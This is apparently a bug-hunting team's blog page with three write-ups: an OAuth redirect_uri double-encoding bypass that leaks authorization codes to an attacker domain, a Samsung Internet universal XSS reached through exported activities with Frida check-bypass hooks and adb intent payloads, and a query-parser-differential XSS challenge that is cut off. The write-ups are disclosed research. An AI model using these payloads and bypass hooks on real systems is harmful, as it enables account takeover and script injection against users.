Voorivex Hunting Team

Story of Abusing a Fully Secured redirect_uri in an OAuth Flow

Voorivex — Sat, 21 Mar 2026 18:44:37 GMT

When it comes to bug hunting, authentication is my first choice. Nowadays, major companies' authentication systems have many implementations and enormous underlying complexity. So when I start testing, it feels like solving a challenging puzzle full of unknown elements. It may sound like I'm simply testing authentication, but I'm actually deep diving through many JS files and iframes interacting with each other. Today, I want to cover a one-click account takeover bug that I recently found on a well known company's main website, which I'm 100% sure has been tested by many internal security teams and external hunters.

Before jumping into the finding, let me set the stage with some background on how OAuth flows work and why some setups are significantly harder to break than others.

A Quick Primer on SSO and OAuth

Single Sign-On (SSO) is the concept of entering your credentials once and getting access to multiple services. Google is a perfect example. You sign into your Google account, and suddenly Gmail, YouTube, Google Cloud, and everything else just works.

The implementation behind SSO varies. Some companies rely on well-known protocols like SAML or common OAuth providers. Others, especially large enterprises, build their own private SSO systems. And this is where things get interesting for a bug hunter, because custom implementations are far more likely to contain flaws.

Here is the typical OAuth login flow. You go to a website, click "Login with Google," and the following happens:

The Application (e.g., YouTube) redirects you to the Provider (e.g., Google) with a set of parameters including client_id, redirect_uri, scope, and state
You authenticate with the Provider
The Provider sends you back to the Application's redirect_uri with an authorization code (or token)
The application exchanges that code for an access token on the server side, then issues an authentication cookie, session, or token for the user

The critical security boundary here is the redirect_uri. If an attacker can manipulate where the authorization code is sent, they can steal it, exchange it, and take over the victim's account. This is why every OAuth provider validates the redirect_uri strictly.

Now, there is a common misconception among fresh hunters. Many people focus on attacking the Provider side (Google, Facebook, etc.). But the Provider has been tested by millions of researchers. The real attack surface is on the Application side, specifically how the application handles the OAuth setup, the redirect, and the token exchange.

Two Types of Redirects

In OAuth implementations, there are generally two types of redirects after the Provider sends back the code:

Exchange Endpoint: A server-side endpoint that receives the code and exchanges it for a token/authentication session/cookie. This is a 301/302 redirect, no JavaScript involved. The only attack vector here is manipulating the redirect_uri
Dispatcher Endpoint: A client-side page that uses JavaScript to process the response and redirect the user. This is trickier because JS introduces additional attack surface, such as manipulating the state parameter, postMessage abuse, or Unicode tricks in window.location

The second type is more complex and often more likely to be vulnerable. I have previously exploited dispatcher-based flows in of of the Google's product and I received $12,000 for it, I'll be publishing it in future. What if the redirect_uri is the sole point to probe for vulnerabilities, and the implementation appears completely secure?

That is exactly the situation I faced with this target :]

The Target's OAuth Flow

The target company is a major global brand in the automotive industry. They operate a unified OAuth system shared across multiple subsidiary brands, powered by a custom identity provider. When you click "Login" on any of their regional websites, the following OAuth request is made:

https://idp-connect.company.com/auth/api/v2/user/authorize
  ?client_id=dummy
  &redirect_uri=https%3A%2F%2Fwww.company.com%2Fapi%2Fbin%2Fopenid%2Flogin
  &state=[BASE64_STATE]
  &scope=openid+profile+email+phone
  &response_type=code
  &ui_locales=en

After authentication, the provider redirects to:

https://www.company.com/api/bin/openid/login?code=AUTHORIZATION_CODE&state=...

This is the exchange endpoint. The Application receives the code and exchanges it for the user's session.

Analyzing the Attack Surface

I immediately started mapping what I was working with:

Application: www.company.com
Provider: idp-connect.company.com
Exchange endpoint: https://www.conpany.com/api/bin/openid/login
No dispatcher endpoint. No JavaScript involved. The redirect was a clean 301 HTTP redirect
No state parameter abuse possible because the state was just a base64-encoded URL for post-login redirect, and the exchange endpoint was server-side

This meant the only viable attack was manipulating the redirect_uri. If I could make the provider redirect the authorization code to a domain I control, game over.

The issue? The redirect_uri validation was highly protected. However, unlike the main Google provider (the famous one that many sites use it), it accepted both subdomains and the main domain, so abc passed the security checker function without any problems:

redirect_uri=https%3A%2F%2Fabc.company.com%2Fapi%2Fbin%2Fopenid%2Flogin

But hold on, how does a parser detect subdomains? Bingo! By parsing the URL or applying a regex to it. In this case, attackers can exploit inconsistencies across different layers, just as I did.

The Wall: Every Trick in the Book, Blocked

I started with the standard redirect_uri manipulation techniques. Every single one was blocked.

Path confusion with ? and #:

https://www.company.com?/api/bin/openid/login     → Rejected
https://www.company.com#/api/bin/openid/login     → Rejected

Domain substitution:

https://www.company.computer/api/bin/openid/login  → Rejected
https://wwwa.company.com/api/bin/openid/login      → Rejected

Authority injection with @:

https://www.company.com@attacker.com/api/bin/openid/login   → Rejected

Domain concatenation:

https://a.coma.company.computer/api/bin/openid/login    → Rejected
https://a.com@.company.computer/api/bin/openid/login    → Rejected
https://a.com\@.company.computer/api/bin/openid/login   → Rejected

Every standard bypass was dead. The validation was solid. At this point, most hunters would move on. The redirect_uri was locked down. Nothing to see here.

But I do not give up after one round of attempts. I always push further.

Fuzzing the URL Parser

I changed my strategy. Rather than using familiar bypass techniques, I opted to fuzz the URL parser. The key question was whether characters could be decoded again after passing the server-side URL validator.

I started fuzzing encoded characters at various positions in the URL (\u0000 -> \u007f):

https://a.com%FUZZ.company.com/api/bin/openid/login
https://www.company.com%FUZZ/api/bin/openid/login
https://a.com%FUZZ/api/bin/openid/login

Nothing happened, so I continued by extending the fuzz to two consecutive characters, ranging from \u0000 to \u007f in all possible permutations. This approach, known as a cluster bomb attack, covers every potential scenario:

https://a.com%FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%FUZZ%FUZZ/api/bin/openid/login https://a.com%FUZZ%FUZZ/api/bin/openid/login

All payloads were rejected and I got nothing. Here is the secret ingredient that I want to give you, there is a classic double-decode vulnerability pattern (you may know it as the double-encode attack vector) which is used to be in CTF challenge commonly, honestly I don't know if it's still a brand-new challenge these days or not. The scenario: If the server decodes once before validation but the action function (in our case before the redirect) causes a second decode, you can smuggle characters past the validator. Here is the tiny PHP code that is vulnerable:

Can you spot the vulnerability? So I ran this approach against the target:

https://a.com%25FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%25FUZZ%FUZZ/api/bin/openid/login https://a.com%25FUZZ%FUZZ/api/bin/openid/login

As a result, I got a desired output with %2523%40.

The Breakthrough

The key insight came from combining two URL-encoded characters:

%2523 = double-encoded # (first decode: %23, second decode: #)
%40 = URL-encoded @

I crafted the following redirect_uri:

https://a.com%2523%40www.company.com/api/bin/openid/login

Here is what happens step by step:

Step 1: Server-side validation

The server decodes the URL once:

https://a.com%23@www.company.com/api/bin/openid/login

The validator sees %23 (which is #) followed by @www.company.com. In URL parsing, the @ symbol separates credentials from the host. So the server interprets this as:

Credentials: a.com%23 (treated as credentials, ignored)
Host: www.company.com
Path: /api/bin/openid/login

The host is www.company.com. Validation passes.

Step 2: Just before the 301 redirect

The server issues a 301 redirect to this URL with the authorization code appended. Right before the parameter is passed to the response, it decodes %23 once:

https://a.com#@www.company.com/api/bin/openid/login?code=AUTH_CODE

Now the browser sees:

Scheme: https
Host: a.com
Fragment: @www.company.com/api/bin/openid/login?code=AUTH_CODE

Everything after # is a fragment identifier. The browser navigates to a.com and the fragment (including the authorization code) is accessible via location.hash on the attacker's page.

The authorization code leaks to the attacker.

In practice, the actual redirect looked like:

https://a.com/?code=AUTH_CODE&state=...

The code is now in my hands.

Why This Bug Existed

The root cause is a discrepancy between how the server-side URL validator parses URLs and how a function decodes them just before a redirect. Specifically:

The server conducts a single round of URL decoding before validating the redirect_uri, which is standard behavior
before redirection, a function caused to perform an additional round of decoding
Double-encoded characters (%2523 for #) survive the first decode as %23, passing validation. They then get decoded again by the function into #, which completely changes the URL structure.

This is not a trivial bug. The redirect_uri validation was genuinely strong. It blocked every standard bypass technique. The flaw was in the interaction between the server's URL decoding behavior and the security function that was parsing the URL.

This bug serves as a reminder that "fully secured" doesn't mean "impossible to bypass." It simply requires deeper investigation. I hope you enjoyed this post. My next one will focus on OAuth in Google, exploring a different path with a dispatcher endpoint. I'll publish it soon :)

uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]

Omid Rezaei — Mon, 23 Feb 2026 18:43:48 GMT

Introduction

This write-up explains how @YShahinzadeh and I discovered a Universal Cross-Site Scripting (UXSS) vulnerability in the Samsung Internet Browser, identified as CVE-2025-58485 and SVE-2025-1879. This issue was caused by inconsistent intent validation in exported activities. The Samsung browser is the default browser on all Samsung phones and has over 1 billion downloads on the Play Store.

New Methodology

Typically, our methodology for Android assessments focuses on traffic interception and API analysis. However, for this assessment, we shifted our strategy to a deep dive into the source code and Android-specific logic rather than network traffic. Our entry point was the AndroidManifest.xml

Entry Point: Exported Bixby Launcher Activity

The most eye-catching part in the Android manifest file is always the exported activities that can be found with this attribute android:exported="true". Based on past experience, if it has the deeplink, it makes it even better because we can call it with just one link from a Web. So there were a few activities that matched our expectations, and we started with this one:

OnCreate

Android activities have certain methods that are called in different situations (Read More). One of these methods is onCreate, which is called first when the activity starts. We began by looking at the onCreate method of the BixbySBrowserLauncherActivity activity:


    @Override // android.app.Activity
    public void onCreate(Bundle bundle) throws UnsupportedEncodingException {
        super.onCreate(bundle);
        Log.i("BixbyLauncherActivity", "onCreate()");
        SALoggingInitializer.initialize(getApplication());
        handleIntent(getIntent());
        finish();
    }

It just receives the intent from the input and passes it to the handleIntent function:

 private void handleIntent(Intent intent) throws UnsupportedEncodingException {
        String pathSegments;
        Log.i("BixbyLauncherActivity", "[handleIntent]");
        if (isAllowedPackage(intent)) {
            String action = intent.getAction();
            Uri data = intent.getData();
            setTaskIds(intent);
            if (!"android.intent.action.VIEW".equals(action) || data == null) {
                return;
            }
            String string = data.toString();
            List pathSegments2 = data.getPathSegments();
            this.mPathSegments = pathSegments2;
            if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
                return;
            }
            handleGoals(string, pathSegments);
        }
    }

Checker Functions: isAllowedPackage

If you look at the code for the handleIntent, there is a function called isAllowedPackage that checks the intent at the beginning. Based on its name, you can probably guess why it exists here:

private boolean isAllowedPackage(Intent intent) {
        if (GEDUtils.isGED() || !"android.intent.action.VIEW".equals(intent.getAction())) {
            return false;
        }
        Uri uri = (Uri) intent.getParcelableExtra("android.intent.extra.REFERRER");
        String stringExtra = intent.getStringExtra("android.intent.extra.REFERRER_NAME");
        intent.removeExtra("android.intent.extra.REFERRER");
        intent.removeExtra("android.intent.extra.REFERRER_NAME");
        String host = getReferrer() == null ? null : getReferrer().getHost();
        intent.putExtra("android.intent.extra.REFERRER", uri);
        intent.putExtra("android.intent.extra.REFERRER_NAME", stringExtra);
        if (host != null && Constants.BIXBY_AGENT_PKG_NAME.equals(host)) {
            return true;
        }
        androidx.compose.ui.text.font.a.q("NOT allowed package : ", host, "BixbyLauncherActivity");
        return false;
    }

It prevents random apps, deep links, emulators, etc., from starting the activity, restricting access to this component (Bixby).

This function contains three failure conditions:

if GEDUtils.isGED() is true, the code stops immediately and denies execution.
if the intent action is anything other than android.intent.action.VIEW, the code stops and denies execution
if the host (extracted from the intent referrer) equals Constants.BIXBY_AGENT_PKG_NAME, access is allowed; otherwise, access is denied, and a log entry is written.

Check One: `GEDUtils.isGED()`

GED = Generic / Emulated Device (non-Samsung execution context).:

public class GEDUtils {
    public static boolean isGED() {
        return ApplicationStatus.getApplicationContext().getSharedPreferences("debug_preferences", 0).getBoolean("pref_emulate_non_samsung_device", false) || PlatformInfo.SPL_VERSION == 1000;
    }
}

The function detects non-Samsung or emulated environments by checking a debug preference and a platform version value. When either indicates a generic context, it flags the environment as untrusted and is used to block or alter execution paths. During emulator testing, this check was bypassed by hooking the function with Frida and reversing its return value:

 var GEDUtils = Java.use("com.sec.android.app.sbrowser.common.device.GEDUtils");
    GEDUtils.isGED.implementation = function () {
        console.log(`GEDUtils.isGED called, original result: \({this.isGED()} new result: \){!this.isGED()}`);
        return !this.isGED(); // flips the result
    };
// Log: GEDUtils.isGED called, original result: true new result: false

Check Two: `android.intent.action.VIEW`

The second condition ensures that only intents with the action android.intent.action.VIEW are processed, while all others are rejected. However, since the caller can fully control the action, this condition does not offer significant security.

Check Three: `com.samsung.android.bixby.agent`

The third condition is in the referrer logic. Here, the activity checks the system referrer and only allows execution if it resolves to com.samsung.android.bixby.agent. If not, the intent is discarded.

Bixby Referrer Limits the Attack Surface

At this point, the GED check and referrer validation restricted execution to genuine Samsung devices and intents from com.samsung.android.bixby.agent. This significantly reduced the attack surface and made direct exploitation through this activity unlikely. Since our goal was to understand how it works and to comprehend the entire component, we disabled the isAllowedPackage security check using a Frida script to continue tracing the Intent (this is the most important milestone of this bug). The script simply reversed the method’s return value, changing false to true.

var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
    let result = this["isAllowedPackage"](intent);
    console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
    return !result;
};

Continue to Discover Whole Flow

At the bottom of the isAllowedPackage, we encountered the snippet of code below in the handleIntent function:

String action = intent.getAction();
Uri data = intent.getData();
setTaskIds(intent);
if (!"android.intent.action.VIEW".equals(action) || data == null) {
    return;
}
String string = data.toString();
List pathSegments2 = data.getPathSegments();
this.mPathSegments = pathSegments2;
if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
    return;
}
handleGoals(string, pathSegments);

The code first performs a basic check on the action of the intent and ensures the data is not null. Then, it extracts the URI path segments and stops if they are missing or empty. If these conditions are met, it calls handleGoals with the full URI string and the first path segment.

We can call the handleGoals function with this adb command (while Frida is running in the background to disable isAllowedPackage):

adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/path1/path2"

Result:

The next function that we need to review is handleGoals:

private void handleGoals(String str, String str2) throws UnsupportedEncodingException {
    str2.getClass();
    switch (str2) {
        case "ReadWebpage":
            handleReadAloud();
            break;
        case "OpenNewTab":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_NEW_TAB");
            break;
        ...
        case "ShareVia":
            handleShareVia(str2);
            break;
        case "OpenSavedpages":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_SAVEDPAGES");
            break;
        case "OpenTabs":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_TABS");
            break;
        case "AccessIdentifiedWebsite":
        case "AccessWebsite":
            handleAccessWebsite(str);
            break;
        ...
    }
}

The handleGoals checks the value of str2 and uses it to decide what to do. Each possible value maps to a specific action, and for most of them, it starts ‍‍startActivityForBixby with a specific action; others call separate functions that handle additional logic. if the value is not recognized, the function does nothing.

After reviewing some of them, the AccessWebsite case, which runs handleAccessWebsite caught our attention.

Let’s see what happens inside handleAccessWebsite :

private void handleAccessWebsite(String str) throws UnsupportedEncodingException {
    Log.i("BixbyLauncherActivity", "[handleAccessWebsite]");
    String strSubstring = str.substring(str.indexOf("?") + 1);
    String pathSegments = getPathSegments(1);
    String pathSegments2 = getPathSegments(2);
    if (pathSegments == null || pathSegments2 == null) {
        return;
    }
    EngLog.d("BixbyLauncherActivity", "[handleAccessWebsite] url : " + strSubstring);
    if (UrlUtils.isJavascriptSchemeOrInvalidUrl(strSubstring) || UrlUtils.isForbiddenUri(Uri.parse(strSubstring)) || UrlUtils.isDataUrl(strSubstring)) {
        Log.i("BixbyLauncherActivity", "shouldIgnoreIntent, return");
        return;
    }
    if ("null".equals(strSubstring)) {
        strSubstring = getSearchUrl("default", pathSegments2, pathSegments);
    }
    Intent intentCreateIntentWithTargetTask = createIntentWithTargetTask("com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE");
    intentCreateIntentWithTargetTask.putExtra("extra_access_url", strSubstring);
    try {
        getApplicationContext().startActivity(intentCreateIntentWithTargetTask);
        SALogging.sendEventLogWithoutScreenID("9188");
    } catch (ActivityNotFoundException e) {
        androidx.recyclerview.widget.a.k(e, new StringBuilder("[handleAccessWebsite]"), "BixbyLauncherActivity");
    }
}

As shown, the function splits the incoming intent link into two parts, the path segments and the query string. Given an example:

samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team

Everything after the ? is treated as the target URL, while seg1 and seg2 are extarcted from the path.

After confirming that the URL is safe using several checker functions, like isJavascriptSchemeOrInvalidUrl or isForbiddenUri, then the function creates a new intent, and it attaches the URL using the extra_access_url extra and the com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE action. The intent is then passed to another activity. Let’s see in action:

adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team"

Component Boundary: Intent Passed to a New Activity

Before the intent is passed to another activity, it undergoes several checks, including isJavascriptSchemeOrInvalidUrl, isForbiddenUri, and isDataUrl, to ensure it is valid.

public static boolean isJavascriptSchemeOrInvalidUrl(String str) {
    String sanitizedUrlScheme = getSanitizedUrlScheme(str);
    if (sanitizedUrlScheme != null) {
        Locale locale = Locale.US;
        if (sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAVASCRIPT_SCHEME) || sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAR_SCHEME)) {
            return true;
        }
    }
    return false;
}

public static boolean isForbiddenUri(Uri uri) {
    String scheme = uri.getScheme();
    if (scheme == null) {
        return false;
    }
    if (!"file".equals(scheme.toLowerCase(Locale.US))) {
        return !ACCEPTED_SCHEMES.contains(scheme);
    }
    String path = uri.getPath();
    if (path == null) {
        return true;
    }
    Iterator it = FILE_WHITELIST.iterator();
    while (it.hasNext()) {
        if (path.startsWith(it.next())) {
            return false;
        }
    }
    return true;
}

If any of these checks return true, the method exits right away. if the extracted value is the literal string "null," the method creates a fallback search URL using the path segments instead. Only when all checks are successful does it create an intent, set extra_access_url to the URL, set the action to com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE, and start the current activity with that intent using startActivity. To ensure which activity will be called, we used this Frida script:

// frida -U -f  -l log_startActivity.js --no-pause

Java.perform(function () {
    const Activity = Java.use("android.app.Activity");
    const ContextImpl = Java.use("android.app.ContextImpl");
    function logIntent(intent) {
        if (!intent) return;
        const comp = intent.getComponent();
        const extras = intent.getExtras();
        console.log("=== startActivity ===");
        console.log("Action      :", intent.getAction());
        console.log("Component   :", comp ? comp.getClassName() : "null");
        console.log("Data        :", intent.getDataString());
        if (extras) {
            const keySet = extras.keySet().toArray();
            console.log("Extras:");
            keySet.forEach(function (k) {
                console.log("  " + k + " = " + extras.get(k));
            });
        } else {
            console.log("Extras      : null");
        }
        console.log("=====================");
    }
    Activity.startActivity.overload("android.content.Intent").implementation = function (intent) {
        logIntent(intent);
        return this.startActivity(intent);
    };
    ContextImpl.startActivity.overload("android.content.Intent").implementation = function (intent) {
        logIntent(intent);
        return this.startActivity(intent);
    };
    ContextImpl.startActivity
        .overload("android.content.Intent", "android.os.Bundle")
        .implementation = function (intent, bundle) {
            logIntent(intent);
            return this.startActivity(intent, bundle);
        };
});

=== startActivity ===
Action      : com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE
Component   : com.sec.android.app.sbrowser.SBrowserMainActivity
Data        : null
Extras:
  extra_access_url = https://blog.voorivex.team/
  extra_by_capsule = true
=====================

It passed to com.sec.android.app.sbrowser.SBrowserMainActivity with two extras: extra_access_url and extra_by_capsule, and the action com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE

The Sink

We had a transition in the BixbyLauncher Activity that generated an intent and called another activity named com.sec.android.app.sbrowser.SBrowserMainActivity with the extra_access_url parameter in the intent.

So, we began tracing the flow by searching for the extra_access_url parameter throughout the entire source code:

We found this function named accessWebsite that takes an intent as input and runs loadUrl with two arguments: one is getCurrentTab() and the second is the value of extra_access_url. after hooking it, I confirmed it was the right one:

private void accessWebsite(Intent intent) {
        Log.i("si__MainViewBixby", "[accessWebsite]");
        loadUrl(getCurrentTab(), intent.getStringExtra("extra_access_url"));
        finishEditMode();
    }

var MainViewBixby = Java.use("com.sec.android.app.sbrowser.main_view.MainViewBixby");
MainViewBixby["accessWebsite"].implementation = function (intent) {
    console.log(`MainViewBixby.accessWebsite is called: intent=${intent}`);
    this["accessWebsite"](intent);
};

Let’s look at the loadUrl function:

private void loadUrl(final SBrowserTab sBrowserTab, final String str) {
    if (sBrowserTab == null) {
        this.mNewTabHandler.loadUrlWithNewTab(str, null, true, isSecretModeEnabled(), TabLaunchType.FROM_EXTERNAL_APP, false);
    } else if (sBrowserTab.isNativePage() && sBrowserTab.isLoading()) {
        sBrowserTab.addEventListener(new SBrowserTabEventListener() { // from class: com.sec.android.app.sbrowser.main_view.MainViewBixby.1
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onClosed(SBrowserTab sBrowserTab2) {
                sBrowserTab.removeEventListener(this);
            }
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onLoadFailed(SBrowserTab sBrowserTab2, int i, String str2) {
                sBrowserTab.removeEventListener(this);
            }
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onLoadFinished(SBrowserTab sBrowserTab2, String str2) {
                sBrowserTab.loadUrl(str);
                sBrowserTab.removeEventListener(this);
            }
        });
    } else {
        sBrowserTab.loadUrl(str);
    }
}

This method loads a URL into a browser tab. If no tab exists, it opens the URL in a new tab. If the tab is busy loading a native page, it waits until loading finishes and then loads the URL. Otherwise, the function immediately calls sBrowserTab.loadUrl(str).

This is the endpoint, and it's our final step in tracing the flow. Now we can map all the steps from beginning to end.

The Whole Flow Diagram

…

Path 1: Not Exploitable

So, there was a question: What would happen if we bypassed all those checks and got the JavaScript scheme into our loadUrl method? Would this create a vulnerability, or does it not work that way to become a vulnerability?

To answer this question, we need to bypass three checker functions using Frida and send the intent with adb.

Simply reverse the outputs of all checkers with !result;:

var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
    let result = this["isAllowedPackage"](intent);
    console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
    return !result;
};

var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isJavascriptSchemeOrInvalidUrl"].implementation = function (str) {
    let result = this["isJavascriptSchemeOrInvalidUrl"](str);
    console.log(`UrlUtils.isJavascriptSchemeOrInvalidUrl is called: Byppassed!`);
    return !result;
};

var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isForbiddenUri"].implementation = function (uri) {
    let result = this["isForbiddenUri"](uri);
    console.log(`UrlUtils.isForbiddenUri called: Byppassed!`);
    return !result;
};

adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?javascript:alert\(origin\)"

Result:

So the answer is yes, if we can bypass the checker functions. Since loadUrl gets the current tab and opens any link, including JavaScript schemes, and executes them on the current page means we have XSS on every website the browser can access, resulting in UXSS. However, we couldn't bypass all those functions :) But it’s not the end of our write-up

Path2: Exploitable

Analyzing the whole flow revealed a critical architectural flaw (step 9). The Bixby Launcher eventually passes the request to com.sec.android.app.sbrowser.SBrowserMainActivity.

Upon reviewing the Manifest again, we discovered that SBrowserMainActivity is also exported:


What happens if we just call the activity directly?
So we generate the adb command based on this:

Activity: com.sec.android.app.sbrowser/.SBrowserMainActivity

Action: com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE

Extra String: extra_access_url "https://google.com"

Extra Boolean: extra_by_capsule true


adb shell am start \
  -n com.sec.android.app.sbrowser/.SBrowserMainActivity \
  -a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
  --es extra_access_url "https://google.com" \
  --ez extra_by_capsule true

The SBrowser simply opened Google.com, and it worked; the Sink was the same!
However, we weren't sure if there were any checks or protections in place, so we needed to find out. The hard way would be to read the entire source code and trace the input to this point, but the easy way is to test the last payload to see if it works.
So, we simply change https://google.com to javascript:alert(origin):
adb shell am start \
  -n com.sec.android.app.sbrowser/.SBrowserMainActivity \
  -a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
  --es extra_access_url "javascript:alert\(origin\)" \
  --ez extra_by_capsule true

And finally, we saw the origin pop-ups appear on Google.com :)
Why Google.com? Because the previous tab opened was google.com, and if you remember, it gets the current tab and runs the JavaScript.
By sending this intent directly to the exported SBrowserMainActivity, an attacker can trigger a UXSS. This allows arbitrary JavaScript to run on all websites that SBrowser can open!
Proof of Concept:
We first need to open the targeted website we want to exploit. For example, in the exploit code, we first send an intent to open google.com and then use a second intent to exploit it.



  
    
    
  




Timeline
7 September 2025 → Bug reported to Samsung Security
29 September 2025 → Bug acknowledged
2 December 2025 → $2,700 bounty awarded
13 January 2026 → Bug fixed
Conclusion
In terms of technical and communication skills, the Samsung team was professional, and we had a good experience with them. However, the bounty amount did not meet our expectations. Honestly speaking, we are not going to work on Samsung anymore. I hope they increase the amount of bounties because it's like an investment in hackers!



When Two Parsers Disagree: Exploiting Query String Differentials for XSS
Amirmohammad Safari — Tue, 10 Feb 2026 20:38:37 GMT
When you spend enough time hunting for vulnerabilities in real-world applications, you start seeing the same patterns over and over again. One pattern that kept showing up in my audits was this: the backend receives some user input, validates it carefully, decides "yep, this looks safe" and then the frontend takes that same raw input and uses it to do something; like redirect the user, render content, or make a decision.
The developers assume “We already checked this on the server. It's fine.” But here's the thing; what if the server and the browser don't agree on what the input actually says?
That question lived in my head for a while. Eventually, I decided to turn it into a challenge. On February 8th, I published it on my X account for anyone brave enough to give it a shot. The challenge was 20 lines of Node.js code. It looked simple and had two completely different solutions.
Thanks to everyone who participated and tried to crack it. Now, let's break the whole thing down together, from the source code, all the way to the final exploit.
Reading the Challenge Source Code
The first step in any challenge is to read the code carefully. Not skim it. Actually read it. Let's go line by line. Here's the entire challenge:
const express = require('express');
const app = express();

app.set('query parser', 'extended');

app.get('/', (req, res) => {
  const redirectUri = req.query.redirect_uri;

  if (!redirectUri) {
    return res.send("redirect_uri is required");
  }

  if (redirectUri !== "https://pwnbox.xyz/docs") {
    return res.send("Invalid redirect_uri");
  }

  return res.send(`
    
  `);
});

app.listen(3000, () => console.log('Listening on port 3000'));

That’s it. It may seem simple, but there’s more under the hood. Let me break down what each part does.
The Framework
The app is built with Node.js and Express.js. Nothing unusual here; Express is one of the most popular web frameworks in the Node ecosystem. Millions of applications use it every day.
The Query Parser Setting
This line is easy to skip over, but it's actually one of the most important lines in the entire challenge. We'll come back to it soon. For now, just remember: when Express is told to use the extended query parser, it switches from the basic built-in parser to a library called qs. This library is much more powerful; it can handle nested objects, arrays, bracket notation, and all kinds of fancy stuff.
Keep that in the back of your mind. It matters. A lot.
The Route Logic
The application has a single route; the root path /. When you visit it, here's what happens:

Extract the parameter: It grabs redirect_uri from the parsed query string.

Check if it exists: If there's no redirect_uri at all, you get the message redirect_uri is required.

Strict validation: If redirect_uri is not exactly equal to https://pwnbox.xyz/docs, you get Invalid redirect_uri. This uses !==, JavaScript's strict inequality operator. The value must be that exact string, character for character.

Render the page: If (and only if) the check passes, the server sends back an HTML page containing a small inline script.


The Inline Script
This is where the second parser comes to challenge:
<script>
  location = new URLSearchParams(window.location.search).get("redirect_uri");
script>

This script runs in the browser, not on the server. It does the following:

Takes window.location.search, the raw query string from the browser's address bar

Parses it using URLSearchParams, the browser's built-in query string parser

Gets the value of redirect_uri

Sets location to that value, which causes the browser to navigate to it


The developer's intention is clear: the backend already verified that redirect_uri is https://pwnbox.xyz/docs, so the browser should just redirect there. Safe and simple. Right?
Spotting the Crack
Okay, so let's think about this like an attacker. What do we control? We control the URL; specifically, the query string. Our input flows into two places:

The backend: Express parses the query string using qs and checks the value

The frontend: The browser parses the same query string using URLSearchParams and uses the value


Here's the critical question: What if these two parsers read the same query string but come up with different answers?
If we could somehow make the backend see redirect_uri = "https://pwnbox.xyz/docs" (to pass the check) while the browser sees redirect_uri = "javascript:alert(origin)" (to trigger XSS), we would win.
Sounds impossible? Let's see. To find our exploit, we need to understand exactly how each parser works.
How Express Uses the qs Library
Before we dive into qs itself, let's quickly trace how Express use it. This context helps us understand what options are being used, which turns out to be important.
When you access req.query, Express lazily gets the raw query string and runs it through the parser function. That function was set up by compileQueryParser:
exports.compileQueryParser = function compileQueryParser(val) {
  var fn;

  if (typeof val === 'function') {
    return val;
  }

  switch (val) {
    case true:
    case 'simple':
      fn = querystring.parse;
      break;
    case false:
      break;
    case 'extended':
      fn = parseExtendedQueryString;
      break;
    default:
      throw new TypeError('unknown value for query parser function: ' + val);
  }

  return fn;
}

When the value is 'extended', it selects the parseExtendedQueryString function. Let's see what that does:
function parseExtendedQueryString(str) {
  return qs.parse(str, {
    allowPrototypes: true
  });
}

So Express calls qs.parse() with a single non-default option: allowPrototypes: true. Everything else uses qs defaults.
This means the following default settings are active:

depth: 5 (maximum nesting level)

arrayLimit: 20 (maximum array index)

delimiter: '&' (what separates parameters)

parameterLimit: 1000 (maximum number of parameters to parse)

allowPrototypes: true (the only non-default)


One of these defaults, parameterLimit, will turn out to be critical. But we'll get there.
Inside the qs Parser, A Deep Dive
This is where things get really interesting. The qs library parses query strings in a pipeline of steps. Let's walk through each one, because the exploit hides inside specific steps.
Step 1: Entry Point and Options
